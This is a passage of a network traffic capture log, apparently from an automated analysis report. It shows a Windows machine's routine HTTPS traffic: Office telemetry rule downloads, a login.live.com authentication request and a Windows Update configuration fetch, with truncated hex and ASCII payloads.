2024-11-11 18:17:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:49 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 01111fca-d01e-002b-41d5-3325fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181749Z-174f7845968pf68xhC1EWRr4h800000005hg00000000cdfz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:49 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.7	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:49 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:49 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: d9045f06-101e-00a2-02d5-339f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181749Z-174f7845968frfdmhC1EWRxxbw000000059g00000000memr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:50 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.7	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:49 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:49 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: aedf17c0-c01e-0046-3ad5-332db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181749Z-174f7845968px8v7hC1EWR08ng00000005eg00000000sk6k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:50 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:49 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:49 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 4e338eb5-401e-0016-3ad5-3353e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181749Z-174f7845968jrjrxhC1EWRmmrs00000005b000000000qpkn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:50 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:49 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:49 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 87508ad6-a01e-0098-68d5-338556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181749Z-174f7845968vqt9xhC1EWRgten00000005bg00000000awns x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:50 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:49 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:49 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: feb35d59-101e-0079-01d5-335913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181749Z-174f7845968jrjrxhC1EWRmmrs00000005h0000000002wpn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:50 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.7	49787	20.190.160.14	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:50 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-11 18:17:50 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-11 18:17:50 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 11 Nov 2024 18:16:50 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BAY x-ms-request-id: b555ce90-7c84-433a-afc2-ac9dacc93571 PPServer: PPV: 30 H: PH1PEPF00011F49 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 11 Nov 2024 18:17:50 GMT Connection: close Content-Length: 1276
2024-11-11 18:17:50 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.7	49808	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:50 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=tXtTyL63pcleZXA&MD=zd2dBTMR HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-11 18:17:50 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 1193bfdd-91a6-401a-9470-a5c1355c0b1c MS-RequestId: 0e3b0a84-aa47-4980-a9c8-16ec4c970794 MS-CV: rqAiJWVGvkCw3zJy.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 11 Nov 2024 18:17:50 GMT Connection: close Content-Length: 24490
2024-11-11 18:17:50 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-11 18:17:50 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:51 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:51 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 7cd1171a-e01e-0052-10d5-33d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181751Z-174f7845968c2t8dhC1EWR8s2000000004y000000000qzg8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:51 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.7	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:51 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:51 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 648756f6-901e-0067-0fd5-33b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181751Z-174f7845968jrjrxhC1EWRmmrs00000005c000000000m6tz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:51 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.7	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:51 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:51 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 954b4d19-301e-0052-53d5-3365d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181751Z-174f7845968qj8jrhC1EWRh41s000000058000000000aqk3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
